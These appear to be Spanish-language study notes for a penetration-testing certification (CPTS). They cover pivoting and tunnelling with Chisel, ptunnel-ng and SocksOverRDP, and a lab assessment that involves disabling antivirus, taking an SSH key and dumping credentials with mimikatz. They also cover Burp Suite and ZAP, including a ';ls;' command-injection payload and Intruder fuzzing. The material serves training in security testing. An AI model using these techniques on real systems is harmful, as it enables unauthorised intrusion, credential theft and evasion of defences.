  1. Usar comandos con proxychains para alcanzar la red interna
proxychains xfreerdp /v:IP_HOST_OBJETIVO /u:USER /p:PASS

Pivoting inverso con Chisel

Se suele usar cuando el firewall no permite conexiones entrantes. Con esto hacemos que el host pivote sea el que actue como cliente hacia fuera

  1. Iniciamos el servidor Chisel en nuestra maquina Kali
sudo ./chisel server --reverse -v -p 1234 --socks5D

![[Pasted image 20260705010838.png]]

  1. Desde Host Pivote nos conectamos como clientes a nuestro servidor en Kali
./chisel client -v IP_KALI:1234 R:socks

![[Pasted image 20260705010935.png]]

  1. Configuracion de /etc/proxychains
sudo nano /etc/proxychains4.conf

![[Pasted image 20260705011015.png]]

  1. Usamos comandos con proxychains para conectarnos a la red interna
proxychains xfreerdp3 /u:USER /p:PASS /v:IP

Ejemplo practico

  1. Pasamos chisel al host pivote ![[Pasted image 20260705011554.png]]

  2. Creamos el server en nuestra kali para hacer un pivoting inverso ![[Pasted image 20260705011655.png]]

  3. Configuramos /etc/proxychains4.conf

![[Pasted image 20260705011752.png]]

  1. Ejecutamos cliente chisel que se conectara a nuestra kali pero da error de librerias por lo que tendremos que usar otra version

![[Pasted image 20260705012125.png]]

  1. Pasamos la otra veersion, creamos el servidor y en el host pivote ejecutamos el cliente que se conecta a nuestro servidor

![[Pasted image 20260705012136.png]]![[Pasted image 20260705012235.png]]![[Pasted image 20260705012244.png]]

  1. Ejecutamos comandos mediante proxychains dentro de la red interna

![[Pasted image 20260705012515.png]]

CPTS

3. Tunelizacion Icmp Con Socks

Encapsula el trafico en paquetes ICMP que contienen solicitudes y respuestas ECHO. Solo funciona cuando las respuestas ping estan permitidas dentro de la red desde un host dentro de la red hacia un servidor externo

ptunnel-ng: herramienta usada para crear el tunel ICMP

  1. Clonamos el repositorio
git clone https://github.com/utoni/ptunnel-ng.git
  1. Ejecutamos el script de autogen.sh para compilar
cd ptunnel-ng
sudo ./autogen.sh

Alternativa para compilar:

sudo apt install automake autoconf -y
cd ptunnel-ng/
sed -i '$s/.*/LDFLAGS=-static "${NEW_WD}\/configure" --enable-static $@ \&\& make clean \&\& make -j${BUILDJOBS:-4} all/' autogen.sh
./autogen.sh
  1. Pasamos el repostorio al host objetivo
scp -r ptunnel-ng USER@IP:./
  1. Iniciamos el servidor en el host pivote
sudo ./ptunnel-ng -rIP_HOST_PIVOTE_PUBLICA -R22

![[Pasted image 20260705121413.png]]

  1. Nos conectamos al servidor desde nuestra kali
sudo ./ptunnel-ng -pIP_HOST_PIVOTE_PUBLICA -l2222 -rIP_KALI -R22

![[Pasted image 20260705121537.png]]

  1. Podemos tratar de conectarnos a ssh usando el puerto 2222
ssh -p2222 [email protected]

![[Pasted image 20260705121648.png]]

Reenvio de puertos dinamico

  1. Podemos usar el tunel para el reenvio de puertos dinamico
ssh -D 9050 -p2222 [email protected]

![[Pasted image 20260705121813.png]]

  1. Podemos ahora ejecutar comandos dentro de la red interna
proxychains nmap -sT IP_HOST_OBJETIVO -p3389

![[Pasted image 20260705121858.png]]

Si miramos por Wireshark la conexion ssh a traves del tunel veremos muchos paquetes ICMP

![[Pasted image 20260705121955.png]]

Ejemplo practico

  1. Pasamos ptunnel-ng al host pivote

![[Pasted image 20260705122446.png]]

  1. Nos conectamos al host pivote y creamos el servidor ![[Pasted image 20260705122616.png]]![[Pasted image 20260705122901.png]]

  2. Creamos el cliente en la kali

![[Pasted image 20260705123526.png]]

  1. Creamos la redireccion dinamica y vemos que los paquetes que se envian son en ICMP

![[Pasted image 20260705123609.png]]

  1. Ejecutamos comandos dentro de la red interna con proxychains

![[Pasted image 20260705123952.png]]

CPTS

1. Tunelizacion RDP Y Socks Con Socksoverrdp

En los casos en los que tengamos acceso a una maquina Linux y solo Windows

 SocksOverRDP: herramienta que usa los Canales Virtuales Dinamicos DVC responsables de tunelizar paquetes a traves de RDP

![[Pasted image 20260705135953.png]]

  1. Binarios necesarios:

Podemos buscar ProxifierPE.zip

  1. Nos conectamos via RDP con xfreerdp al host Windows inicial y copiamos el archivo SocksOverRDPx64.zip
  • Necesitamos cargar en el host pivote la DLL SocksOverRDP.dll
C:\..\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll

![[Pasted image 20260705125223.png]]

  1. Nos conectamos via RDP al host pivote usando mstsc.exe

![[Pasted image 20260705125304.png]]

  1. Pasamos el archivo SocksOverRDP-Server.exe al host objetivo y lo ejecutamos como administrador

![[Pasted image 20260705125349.png]]

  1. Comprobamos en el host pivote que hay un SOCKS5 iniciado ![[Pasted image 20260705125427.png]]

  2. Transferimos Proxifier al pivote y lo configuramos

![[Pasted image 20260705125530.png]]![[Pasted image 20260705125541.png]]

  1. Una vez configurado nos podemos iniciar mstsc.exe para pivotar todo el trafico a traves de 127.0.0.1:1080 que lo tunelizara por RDP a el host objetivo que a su vez lo enrutara a el host pivote

![[Pasted image 20260705130120.png]]

Rendimiento

Si el rendimiento de RDP es bajo podemos acceder en a Remote Desktop Connection > Experience > Modem ![[Pasted image 20260705130229.png]]

Ejemplo practico

![[Pasted image 20260705135959.png]]

  1. Nos conectamos al host inicial desde nuestra kali con el recurso compartido donde tenemos las herramientas necesarias

![[Pasted image 20260705130721.png]]

  1. Pasamos los zips de las herramientas necesarias al host inicial y las extraemos

![[Pasted image 20260705132506.png]]

  1. Quitamos las protecciones del antivirus para poder ejecutar las acciones

![[Pasted image 20260705131837.png]] ![[Pasted image 20260705131917.png]]

  1. Iniciamos la DLL que nos permitira iniciar SOCKS

![[Pasted image 20260705132244.png]]

  1. Nos conectamos al host pivote interno mediante RDP

![[Pasted image 20260705133402.png]]![[Pasted image 20260705132648.png]]![[Pasted image 20260705132746.png]]

  1. Hacemos copia y pega del exe que necesitamos desde el host inicial hacia el host pivote interno

![[Pasted image 20260705132913.png]]

  1. Deshabilitamos el antivirus e iniciamos el servidor SOCK que se conecta al host inicial

![[Pasted image 20260705133240.png]]![[Pasted image 20260705133725.png]]

  1. En el host inicial podemos ver como se ha creado el tunel SOCK

![[Pasted image 20260705133901.png]]

  1. Configuramos en el host inicial el proxifier para poder conectarnos al host objetivo

![[Pasted image 20260705133930.png]]![[Pasted image 20260705133956.png]]![[Pasted image 20260705134035.png]]![[Pasted image 20260705134430.png]]

  1. Una vez configurado tendremos acceso a la red interna 2 a traves del host pivote desde el host inicial

![[Pasted image 20260705134506.png]]![[Pasted image 20260705134536.png]]![[Pasted image 20260705135310.png]]

CPTS

1. Skill Assessment

![[Pasted image 20260705161243.png]]

Nos han dejado una webshell para iniciar

  1. Vemos las interfaces del host y encontramos un acceso a la red interna ![[Pasted image 20260705150229.png]]

  2. Mirando en sus archivos encontramos un id_rsa y un archivo con claves en texto plano para el siguiente objetivo

![[Pasted image 20260705150727.png]]

  1. Nos pasamos el id_rsa a la kali mediante un servidor web

![[Pasted image 20260705150737.png]]![[Pasted image 20260705150749.png]]

  1. Usamos el id_rsa para conectarnos y realizar un escaneo de hosts en la red y encontramos el siguiente host al que haremos pivoting

![[Pasted image 20260705150950.png]] ![[Pasted image 20260705151133.png]]

  1. Creamos un tunel SOCK para poder usar proxychains dentro de la red interna y nos conectamos via RDP para conseguir la flag

![[Pasted image 20260705151851.png]]![[Pasted image 20260705153828.png]]![[Pasted image 20260705153856.png]]

  1. Miramos las interfaces y encontramos otra subred y haciendo un escaneo de hosts activos en esa subred encontramos el siguiente host

![[Pasted image 20260705154535.png]]![[Pasted image 20260705160531.png]]![[Pasted image 20260705154552.png]]

  1. Como pista nos han dicho que en anteriores pentest se dieron cuenta de que habia cuentas de servicio con credenciales expuestas, por lo que podemos usar mimikatz para ver las credenciales expuetas. Para ello creamos un recursos compartido en la conexion RDP y nos pasamos mimikatz al host

![[Pasted image 20260705155054.png]] ![[Pasted image 20260705155213.png]]

  1. Usando mimikatz encontramos las credenciales que usaremos para conectarnos via RDP al siguiente host

![[Pasted image 20260705155341.png]]![[Pasted image 20260705155406.png]]

  1. Nos conectamos al host y conseguimos la siguiente flag

![[Pasted image 20260705160604.png]]![[Pasted image 20260705160625.png]]![[Pasted image 20260705160822.png]]

  1. Por ultimo revisando los archivos vimos un recurso compartido con DC donde se encontraba la ultima flag

![[Pasted image 20260705160908.png]]![[Pasted image 20260705160922.png]]

  1. Quisimos ver en que subred e IP se encontraba el KDC para completar el dibujo de red

![[Pasted image 20260705161034.png]]![[Pasted image 20260705161049.png]]

CPTS

1. Introduccion E Instalacion Inicial

La mayoria de aplicaciones se conectan a un backend para enviar y recibir datos pero procesan los datos en el propio dispositivo, por ello comprobar y validar los backends es tan importante

Probaremos las solicitudes web hacia los servidores backend y usaremos los Proxy Web para capturar estas solicitudes y trafico que pasa entre aplicaciones y servidores

Proxies Web

Son herramientas que se configuran entre el navegador o aplicacion y el servidor backend para capturar y ver las solicitudes web actuando como herramientas MITM

A diferencia de herramientas como WireShark que ven todo el trafico de red, estas se centrar en puerto web como el 80 y 443

Las dos herramientas que vamos a usar son: Burp Suite (Burp) y OWASP Zed Attack Proxy (ZAP)

Configuraciones

Burp Suite

Burp Suite (Burp)

Descarga: Página de Descargas de Burp

Si se descarga el archivo .jar se ejecuta lo siguiente:

java jar /RUTA/burpsuite.jar

Descargar Java: https://docs.oracle.com/goldengate/1212/gg-winux/GDRAD/java.htm#BGBFHBEA

  1. Lo ejecutamos como aplicacion normal o desde la terminal
burpsuite &
  1. Al entrar nos pedira crear un proyecto pero como tenemos la version community solo podemos crear proyectos temporales

![[Pasted image 20260705215247.png]]

  1. Nos pedira o poner las opciones por defecto o cargar un archivo con configuraciones, eligiremos las de por defecto

![[Pasted image 20260705215404.png]]

YA ESTAMOS DENTRO

TEMA OSCURO: Burp>Settings>User interface>Display>theme>Dark

ZAP

OWASP Zed Attack Proxy (ZAP)

Descarga: página de descargas

Si se descarga el archivo .jar se ejecuta lo siguiente:

java jar /RUTA/burpsuite.jar
  1. Iniciamos ZAP desde la terminal o como aplicacion
zaproxy
  1. Nos pedira que creemos un proyecto nuevo o temporal, en este caso eligiremos el temporal poniendo NO:

![[Pasted image 20260705215628.png]]

YA ESTAMOS DENTRO

TEMA OSCURO: Tools>Options>Display>Look and Feel>Flat Dark

CPTS

1. Setup

Para usarlas como proxyweb hay dos opciones:

  1. Usar el navegador integrado en el proxy
  • Burp Suite: Proxy>Interecept>Open Browser

![[Pasted image 20260705220205.png]]

  • ZAP: click en icono de navegador Firefox

![[Pasted image 20260705220241.png]]

  1. Configurar el navegador para que las solicitudes web se hagan a traves del proxy. Ambos usan el puerto 8080 por defecto asi que en uno de los dos lo configuramos en un puerto diferente:
  • Burp: Proxy>Proxy settings>Proxy listeners –> 8080
  • ZAP: Tools>Options>Network>Local Servers/Proxies –> 8081
  1. Añadimos la extension Foxy Proxy para cambiar rapidamente entre proxies desde el navegador normal o encenderlos y apagarlos

Hacemos click en su icono y vamos a Options

![[Pasted image 20260705220932.png]]

Damos a Add> 127.0.0.1> 8080 o 8081 y lo nombramos como Burp o ZAP> Save

![[Pasted image 20260705221113.png]]

  1. Seleccionamos una u otra dependiendo de la que vayamos a usar

![[Pasted image 20260705221141.png]]

Instalacion del certificado CA

Esto es necesario ya que sino el trafico HTTPS se puede enrutar mal o tendremos que dar accept cada vez que se tenga que usar HTTPS

  1. Descargar el certificado:
  • Burp: seleccionamos en FoxyProxy Burp > navegamos a http://burp y descargamos el certificado de alli en CA Certificate ![[Pasted image 20260705221452.png]]

  • ZAP: Tools>Options>Network>Server Certificates> Save o podemos generar uno nuevo o cambiarlo con Generate ![[Pasted image 20260705221518.png]]

  1. Instalarlo en Firefox: navegamos a about:preferences#privacy, nos desplazamos a la parte interior y hacemos click en View Certificates > Authorities > Import y seleccionamos el certificado:

![[Pasted image 20260705221707.png]]![[Pasted image 20260705221737.png]]

  1. Por ultimo seleccionamos Trust this CA to identify websites y Trust this CA to identify email users y le damos a OK:

![[Pasted image 20260705221833.png]]

CPTS

2. Interceptando Solicitudes WEB

Una vez configurado podemos usarlo para interceptar y modificar solicitudes web

Intercepcion de solicitudes

Burp Suite

  1. En FoxyProxy activamos la opcion de Burp

  2. En Burp Suite: Proxy>Intecept>Intercept on

![[Pasted image 20260705222746.png]]

  1. Al visitar el sitio web objetivo veremos la solicitud interceptada que se enviara desde nuestro navegador al backend una vez demos Fordward

![[Pasted image 20260705222922.png]]

ZAP

  1. En FoxyProxy activamos la opcion de ZAP

  2. La intercepcion en ZAP esta habilitada por defecto (es el circulo verde de la barra inicial). Para activarlo o desactivarlo le damos al boton verde o hacemos CTL+B

![[Pasted image 20260705223142.png]]

  1. Al visitar en el navegador la pagina web veremos la solicitud interceptada y podemos hacer click en Break para reenviar la solicitud

![[Pasted image 20260705223305.png]]

Ademas ZAP tiene una funcion llamada HUD que nos permite controlar la mayoria de funciones de ZAP desde el navegador preconfigurado. Podemos habilitar HUD para le navegador preconfigurado dando click en el siguiente boton de la barra:

![[Pasted image 20260705223426.png]]![[Pasted image 20260705223435.png]]

Para interceptar las solicitudes hacemos click en el segundo boton izquierdo y una vez actualicemos la pagina web veremos la solicitud. La enviaremos:

  • Step: enviar la solicitud y examinar la respuesta del backend antes de que la procese el navegador. Util para examinar cada paso
  • Continue: enviar todas las solicitudes restantes. Util si solo estamos interesados en una solicitud

![[Pasted image 20260705223631.png]]

Manipulacion de solicitudes interceptadas

Esta solicitud interceptada estara en espera hasta que la reenviemos. Podemos examinarla y/o modificarla antes de enviarala

Hay muchas vulns que podriamos aprovechar y pueden estar presentes en el backend si procesa mal la solicitud enviada:

  1. Inyecciones SQL (SQL injections)
  2. Inyecciones de comandos (command injections)
  3. Omisión de subida de archivos (upload bypass)
  4. Omisión de autenticación (authentication bypass)
  5. XSS
  6. XXE
  7. Manejo de errores (error handling)
  8. Deserialización (deserialization)

Ejemplo de la pagina web interceptada:

![[Pasted image 20260705224108.png]]

  1. Ponemos un valor IP y luego le damos a ping con el proxy encencido. Obtendremos la solicitud que el navegador envia antes de que llegue al backend:

![[Pasted image 20260705224215.png]]

  1. No podemos poner caracteres porque el frontend nos lo impide con un JS, pero podemos modificarlas una vez se ha enviado la solicitud interceptandola y si no se valida bien en el backend se lo come

En este ejemplo cambiamos el valor de ip de 1 a ;ls;

![[Pasted image 20260705224435.png]]

  1. Lo enviamos con Forward o le damos a Continue y veremos que la salida de ping a cambiado a la salida de ls ![[Pasted image 20260705224548.png]]

Ejemplo practico

  1. Probamos la aplicacion como funciona sin proxies y vemos que envia pings al localhost de la maquina segun el numero que pongamos por lo que podemos suponer que ejecuta el comando ping en el backend

![[Pasted image 20260705224707.png]]![[Pasted image 20260705224714.png]]![[Pasted image 20260705224724.png]]![[Pasted image 20260705224729.png]]

  1. Activamos el proxy y la intercepcion de solicitudes

![[Pasted image 20260705224737.png]]![[Pasted image 20260705224745.png]]![[Pasted image 20260705224802.png]]

  1. Modificamos la solicitud para que tras el ping ejecute el comando ls, en bash se pueden ejecutar varios comandos seguidos separados por ;

![[Pasted image 20260705224820.png]]![[Pasted image 20260705224829.png]]

  1. Obtenemos la flag modificando otra solicitud

![[Pasted image 20260705224900.png]]![[Pasted image 20260705224908.png]]

CPTS

3. Interceptando Respuestas

Hay casos en los que necesitaremos interceptar las respuestas del servidor antes de que las interprete el navegador

Con esto podemos cambiar aspectos de la pagina, habilitar ciertos campos o mostrar ciertos campos campos ocultos…

Seguimos con el ejemplo de antes que solo nos permitia poner valores numericos pero si obtenemos y modificamos la respuesta nos permitira poner cualquier valor

Burp Suite

  1. Activamos la intercepcion de respuestas: Proxy>Proxy settings>Response interception rules>Intercept Response

![[Pasted image 20260705225808.png]]

  1. Habilitamos la intercepcion del proxy con FoxyProxy activado y actualizamos la pagina con CTL+SHIFT+R (se fuerza la actualizacion completa)

Veremos la solicitud interceptada y una vez le demos a Forward veremos la respuesta interceptada con el codigo fuente de la pagina web

![[Pasted image 20260705230029.png]]

  1. Como vemos dentro del campo input donde ponemos el valor numerico este esta capado por un JS que pone “type=number”, lo modificamos a “type=text” y “maxlenght=100” para poder introducir mas cosas

![[Pasted image 20260705230216.png]]

  1. Ahora podremos escribir los comandos directamente en el cuadro de input

![[Pasted image 20260705230246.png]]

Burp tiene una opcion que permite de forma automatizada habilitar o deshabilitar campos. Imagina que el campo IP esta deshabilitado, con ese boton podemos habilitarlo

  • Proxy>Proxy settings>Response modification rules>Unhide hidden form fields

ZAP

Si lo hacemos con HUB:

  1. Le damos al segundo boton de la izquierda para que intercepte, hacemos CTL+SHIFT+R para actualizar la pagina web y obtenemos la solicitud. Si le damos a Step obtendremos la respuesta

![[Pasted image 20260705230458.png]]

  1. Hacemos los mismos cambios en la respuesta y le damos a Continue

![[Pasted image 20260705230526.png]]

HUB tiene el tercer boton que permite de forma automatizada habilitar o deshabilitar campos. Imagina que el campo IP esta deshabilitado, con ese boton podemos habilitarlo:

![[Pasted image 20260705230704.png]]![[Pasted image 20260705230710.png]]

Otra opcion es en el boton “+?Comments” que nos muestra los comentarios HTML que estan solo visibles en el codigo fuente con CTL+U

![[Pasted image 20260705230905.png]]

Ejemplo practico

![[Pasted image 20260705231002.png]]![[Pasted image 20260705231216.png]]![[Pasted image 20260705231235.png]]![[Pasted image 20260705231251.png]]![[Pasted image 20260705231259.png]]![[Pasted image 20260705231321.png]]

CPTS

4. Modificacion Automatica

Es posible que queramos añadir modificaciones a todas las solicitudes salientes o respuestas entrantes HTTP

Modificacion automatica de solicitudes

Podemos hacer coincidir cualquier cadena de texto dentro de las solicitudes (ya sea cabecera o cuerpo) y reemplazarlo por un texto diferente

Como ejemplo modificaremos User Agent por HackTheBox Agent 1.0

Burp Suite

  1. Proxy > Proxy settings > HTTP match and replace rules > Add

  2. Usando Regex podemos poner:

![[Pasted image 20260706115747.png]]

  • Request Header: cabecera de la solicitud
  • ^User-Agent.*$: el patron regez coincide con toda la linea que contiene User Agent
  • El valor del reemplazo
  • Regex match ya que no conocemos la cadena exacta
  1. Le damos a Accept y la condicion de reemplazo de añadira y comenzara a reemplazar automaticamente la cabecera User-Agent. Podemos verificarlo visitando cualquier sitio web con el proxy activado

![[Pasted image 20260706120125.png]]

ZAP

La caracteristica en ZAP se llama Replacer:

  1. CTL+R o le damos a Replacer en el menu de opciones de ZAP
  2. Configuramos la regla

![[Pasted image 20260706120229.png]]

  • Descripcion: HTB User-Agent
  • Tipo de coincidencia: Request Header
  • Cadena de coincidencia: User Agent
  • Cadena de reemplazo: HackTheBox Agent 1.0
  • Habilitar: Tue

En la pestaña de Initiators nos permite seleccionar donde se aplicara nuesta opcion Replacer:

  • Ponemos la predeterminada (Apply to all HTTPS messages para aplicarla en todas partes)
  1. Habilitamos la intercepcion de solicitudes con CTL+B y visitamos cualquier sitio web

![[Pasted image 20260706120556.png]]

Modificacion automatica de respuestas

Burp Suite

  1. Proxy > Options > Match and Replace
  2. Usamos el tipo: Response body
  3. Modificamos como antes pero en este caso no necesitamos modificar con Regex

![[Pasted image 20260706120913.png]]

Ejemplos practivos

  • Modificar la solicitud
  1. Activamos el Foxy Proxy y la intercepcion en BurpSuite

![[Pasted image 20260706121345.png]]![[Pasted image 20260706121320.png]]

  1. Interceptamos una solicitud de prueba para luego añadir la nuestra en los settings

![[Pasted image 20260706121328.png]]![[Pasted image 20260706121354.png]]![[Pasted image 20260706121405.png]]![[Pasted image 20260706121429.png]]

  1. Añadimos la siguiente configuracion para cambiar todos los UserAgent en cada solicitud interceptada por BurpSuite

![[Pasted image 20260706121706.png]]![[Pasted image 20260706121629.png]]

  1. Si interceptamos cualquier solicitud veremos que ha cambiado

![[Pasted image 20260706121739.png]]

  • Modificacion de respuesta
  1. Hamos lo mismo que con las solicitudes pero en este caso vamos a modificar el type=number por type=text y maxlength=3 por 100 para poder ejecutar comandos

![[Pasted image 20260706121909.png]]![[Pasted image 20260706122129.png]]![[Pasted image 20260706121951.png]]

  1. En la pagina web hacemos CTL+SHIFT+R para recargar toda la pagina y obtenemos la solicitud y respuesta donde en la respuesta podemos ver que se ha modificado

![[Pasted image 20260706122205.png]]

  1. Manteniendo el burp encendido cada vez que recarguemos la pagina podremos escribir texto hasta 100 caracteres

![[Pasted image 20260706122223.png]]![[Pasted image 20260706122245.png]]![[Pasted image 20260706122309.png]]![[Pasted image 20260706122317.png]]

CPTS

5. Repeticion De Solicitudes

Nos permite reenviar una solicitud web que haya pasado por el proxy para hacer cambios mas rapidamente

Historial del Proxy

  1. Ver el historial:
  • Burp Suite: Proxy > HTTP History

![[Pasted image 20260706123631.png]]

  • ZAP: en el panel Historial inferior o pestaña History en la parte inferior de la interfaz ![[Pasted image 20260706123742.png]]

Ambas tienen opciones de filtrado. Podemos acceder a una y ver sus detalles:

  • Burp Suite

![[Pasted image 20260706123909.png]]

  • ZAP:

![[Pasted image 20260706123929.png]]

Repeticion de solicitudes

  1. Enviar al Repeater:
  • Burp Suite: una vez encontrada hacemos CTL+R para mandarla al Repeater y luego navegamos a la pestaña de Repeater o hacemos CTL+SHIFT+R. Con Send enviamos la solicitud

![[Pasted image 20260706124136.png]]

Con click derecho + Change Request Method podemos cambiar el metodo HTTP de GET -> POST sin tener que reescribir la solicitud completa

  • ZAP: en la solicitud que queremos enviar al Repeater hacemos click derecho > Open/Resend with Request Editor. Abrira una ventana de editor de solicitudes y nos permitira reenviar la solicitud con el boton de Send

![[Pasted image 20260706124647.png]]

En el desplegable Method podemos cambiar el metodo de la solicitud como en Burp Suite

Consejo: Por defecto, la ventana del Editor de Solicitudes en ZAP tiene la Solicitud/Respuesta en pestañas diferentes. Puedes hacer clic en los botones de visualización para cambiar cómo se organizan. Para que coincida con la apariencia anterior, elige las mismas opciones de visualización que se muestran en la captura de pantalla.

Con HUB podemos hacer lo mismo, localizamos la solicitud en el Historial y una vez hacemos click en ella aparecera el Request Editor: Replay in Console (obtener la respuesta en el HUB) o Replay in Browser (verla rederizada en el navegador)

![[Pasted image 20260706124936.png]]

Modificacion de la solicitud

En las 3 podemos modificar el texto para reemplazarlo con lo que queramos y luego hacer click en Send

![[Pasted image 20260706125032.png]]

Para codificar en URL rapidamente –> CTL+U (si le damos varias veces se ira codificando cada vez mas en URL), CTL+SHIFT+U para volver atras

Ejemplo practico

  1. Encontramos la solicitud que hicimos con los parametros de la respueta cambiados que nos permitieron ejecutar comandos y lo mandamos al repeater

![[Pasted image 20260706125305.png]]

  1. Lo enviamos para ver si la respuesta funciona

![[Pasted image 20260706125337.png]]![[Pasted image 20260706125354.png]]

  1. Modificamos la solicitud y la volvemos a enviar (usamos CTL+U para codificar en formato URL)

![[Pasted image 20260706125451.png]]![[Pasted image 20260706125500.png]]

Le damos a send

![[Pasted image 20260706125518.png]]

Vamos modificando para obtener la otra flag:

![[Pasted image 20260706130025.png]]![[Pasted image 20260706130056.png]]

CPTS

6. Codificacion Y Decodificacion

Es posible que necesitemos realizar codificaciones y decodificaciones para interactuar correctamente con el servidor web

Codificacion URL

Es fundamental que los datos de la solicitud esten codificados en URL y que las cabeceras esten correctamente configuradas, sino podriamos recibir un error de respuesta

Caracteres necesarios de codificar:

  • Espacios: para que no los tome como final de datos

  • &: para que no los interprete como un delimitador de parametros

  • #: para que no los interprete como un indicador de fragmento

  • Burp Suite:

Tenemos dos opciones:

  1. Seleccionar el texto y hacer CTL U (cuantas mas veces lo hagamos sobre el mismo fragmento mas coficado en URL), para volver atras CTL SHIFT U
  2. Seleccionar el texto > Click derecho > Convertir selección>URL>Codificar en URL los caracteres clave
  • ZAP: lo hace en segundo plano automaticamente cuando enviamos la solicitud

Decodificacion

Algunos formatos en los que codifican o esperan los datos los backends son:

  • HTML

  • Unicode

  • Base64

  • ASCII hex

  • Burp Suite: vamos a Decoder

Introducimos la cadena BSE64 (eyJ1c2VybmFtZSI6Imd1ZXN0IiwgImlzX2FkbWluIjpmYWxzZX0=)

Luego Decode as>Base64

![[Pasted image 20260706131623.png]]

En versiones recientes tenemos Burp Inspector que se encuentra en varias zonas de la herramienta para codificar y decodificar rapidamente:

![[Pasted image 20260706131700.png]]

  • ZAP: CTL E > Encoder/Decoder/Hash

Usara varios decodificadores de forma automatica:

![[Pasted image 20260706131731.png]]

Codificacion

Ejemplo codificando: {“username”:“guest”, “is_admin”:false}

En un pentest se encontraron un base64 con ese valor dentro de una cookie y es posible que querramos modificarlo a admin y true:

En vez de Decode as le damos a Encode as:

![[Pasted image 20260706131906.png]]![[Pasted image 20260706131913.png]]

Ejemplo practico

Nos dan un archivo con un texto codificado varias veces, tenemos que obtener la flag

1, Descargamos el archivo ![[Pasted image 20260706132141.png]]

  1. Vamos decodificando todo BASE64 menos el ultimo que era URL

![[Pasted image 20260706132300.png]]

CPTS

7. Herramientas De Proxy

Permitiremos la intercepcion de peticiones web de herramientas de linea de comandos y aplicaciones de cliente

Para enrutar estas peticiones de herramientas especificas a traves del proxy tenemos que configurarlas como proxy a traves de http://127.0.0.1:8080

Cada herramienta se configura de forma diferente

Proxychains

Enrutar todo el trafico de cualquier herramienta de comandos

  1. Modificamos /etc/proxychains4.conf

![[Pasted image 20260706133206.png]]

  1. Usamos proxychains con la herramienta y el parametro -q para que opere en modo silencioso suprimiendo la informacion de conexion a la consola y centrarse solo en la salida de la aplicacion
proxychains -q curl http://IP:PORT

![[Pasted image 20260706133332.png]]

  1. Si vamos al proxy veremos que la solicitud ha pasado por el

![[Pasted image 20260706133401.png]]

MSF

  1. Iniciamos MSF y establecemos un proxy para cualquier exploit de MSF
msfconcole -q
use auxiliary/scanner/http/robots_txt
set proxies HTTP:127.0.0.1:8080
set rhost IP
set rport PORT
run
  1. Si volvemos al proxy veremos que la solicitud ha pasado por el

![[Pasted image 20260706133604.png]]

Ejemplo practico

  • Con proxychains
  1. Modificamos /etc/proxychains4.conf para que pasen las peticiones HTTP por el puerto local 8080 y con burp encendido usamos proxychains con una herramienta que haga peticiones HTTP. Vemos como burp las intercepta y una vez que pasamos las respuestas y solicitudes sale por terminal la salida

![[Pasted image 20260706134245.png]]![[Pasted image 20260706134251.png]]

  • Con MSF
  1. Con el proxy encendido configuramos el modulo MSF para que pueda interceptar la solicitud web en el proxy

![[Pasted image 20260706133958.png]]

CPTS

1. Burp Intruder

Esta herramienta realiza fuzzing web, enumeracion y fuerza bruta

Ejemplo objetivo

  1. Accedemos a la pagina web con el proxy encendido, hacemos click derecho en la peticion (ya sea en la propia peticion o en el historial) y lo mandamos al Intruder o con CTL+I

![[Pasted image 20260706145330.png]]

Posiciones

Se encapsulan entre “$-$” y es el puntero donde colocaremos la iteracion

  1. En este ejemplo haremos un fuzzing de directorios desde la raiz (/$DIRECTORY$) donde DIRECTORY se ira iterando segun la wordlist que le pasemos mas adelante. Para colocar $-$ le damos a ADD

![[Pasted image 20260706145704.png]]

Payloads

En la seccion derecha de Intruder se encuentra el apartado de Payloads. Aqui podremos elegir wordlists sobre la que se iterara la DIRECTORY en este caso probando uno por uno

  1. Elegimos la posicion y tipo de payload: indicamos en todas las posiciones que colocamos el puntero (solo DIRECTROY en nuestro caso) y Simple list

![[Pasted image 20260706145957.png]]

En este caso al solo tener una posicion de puntero el ataque es tipo “Sniper” y solo podemos elegir un payload para esa posicion. Si hubiese mas punteros “Cluster Bomb” podriamos haber elegido un payload para cada uno

Tipos de payload:

  • Simple list: una lista de palabras e Intruder itera sobre cada una de ellas
  • Runtime file: parecido a Simple list pero carga linea por linea a medida que se ejecuta el escaeno para evitar el uso excesivo de la memoria de Burp
  • Character Substitution: permite especificar una lista de caracteres y sus reemplazos y Burp prueba todas las permutaciones
  • Se pueden crear listas personalizadas

Burp Intruder payload types

  1. Configuramos el payload: es diferente en cada tipo de payload. Para el Simple List tenemos que crear o cargar una lista de palabras dandole a Add (construir nuestra lista de palabras) o Load (importar un archivo)

/opt/useful/seclists/Discovery/Web-Content/common.txt

![[Pasted image 20260706150646.png]]

Podemos añadir mas de una wordlist y/o añadir nuevas palabras a la lista ya creada

Si usamos una lista muy larga mejor usar Runtime file para no saturar la memoria

  1. Procesamiento del payload: nos permite determinar reglas de fuzzing sobre la lista de palabras cargada (Ejemplo: añadir una extension despues de la palabra de la wordlist o si queremos que de la lista se omita cualquier cosa o solo considerar algunas). En el ejemplo eliminamos las entradas que tengan un . al iniciar

Le damos a Add y luego Skip if matches regex lo que nos permite proporcionar un patron regez poara que omitamos lo que coincida con la entradaÑ

![[Pasted image 20260706151452.png]]![[Pasted image 20260706151505.png]]

  1. Codificacion del payload: podemos tambien encodear a URL los caracteres que pongamos en la entrada ![[Pasted image 20260706151604.png]]

Configuracion

Por ultimo podemos personalizar las opciones de ataque desde la pestaña Settings

Ejemplos: Number of retries on network failure y Pause before retry a 0

Una opcion muy util es “Grep - Match” que permite marcar peticiones especificas dependiendo de las respuestas. En este caso solo nos interesan las que tengan una respuesta 200 OK asi que podemos limpiar la lista actual con Clear y luego Add 200 OK. Por ultimo deshabilitaremos los Exclude HTTP Headers para que tenga en cuenta la cabecera que es donde se encontrara el 200 OK:

![[Pasted image 20260706151945.png]]

Tambien puede servir para solo extraer un fragmento de la respuesta y no toda. Imagina que tenemos esto en las respuestas:

<html>  
...  
Bienvenido <b>NOMBRE</b>  
...  
</html>

Y queremos que nos extraiga la parte que esta entre <\b>NOMBRE</b> para verla desde fuera rapidamente, podemos usar la expresion regex:

(?<=<b>).*?(?=</b>)

Y nos saldra lo siguiente:

![[Pasted image 20260706153449.png]]

Ataque

Le damos a Start Attack y esperamos a que nuestro ataque termine

Como vemos las que empezaban por . fueron omitidas

![[Pasted image 20260706153554.png]]

En la columna 200OK podemos ver las peticiones que coinciden con 200 OK:

![[Pasted image 20260706153652.png]]

Podemos visitar http://SERVER_IP:PORT/admin/ para asegurarnos de que existe

Podemos usar Intruder para mas ataques de fuzzing web, fuerza bruta etc

Ejemplo practico

